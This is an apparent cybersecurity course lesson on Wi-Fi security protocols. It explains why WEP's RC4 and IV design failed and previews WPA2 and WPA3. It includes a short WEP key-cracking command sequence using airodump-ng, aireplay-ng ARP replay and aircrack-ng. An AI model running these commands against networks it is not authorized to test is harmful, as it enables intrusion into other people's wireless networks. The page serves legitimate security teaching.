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Cyber Security Academy · Lesson

802.11 Security Protocols: WEP, WPA2, WPA3

Understand why WEP was broken, how WPA2 CCMP works, and what WPA3 SAE improves.

Wi-Fi Security Evolution

Wireless security has evolved from the broken WEP through WPA/WPA2 to the modern WPA3. Understanding each generation reveals why the flaws existed and how each successor addressed them.

WEP: Fundamentally Broken

WEP (Wired Equivalent Privacy) used RC4 with a static 40-bit key and a weak 24-bit IV. IVs repeat after ~5000 packets, enabling key recovery in minutes with statistical analysis. WEP is completely broken and must never be used.

# WEP crack (for authorized lab use only)
# Capture IVs with airodump-ng
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Force IV generation via ARP replay
aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

# Crack the key
aircrack-ng capture-01.cap

All lessons in this course

  1. 802.11 Security Protocols: WEP, WPA2, WPA3
  2. WPA2 Handshake Capture and Cracking
  3. Evil Twin and Captive Portal Attacks
  4. Enterprise Wi-Fi: EAP and RADIUS
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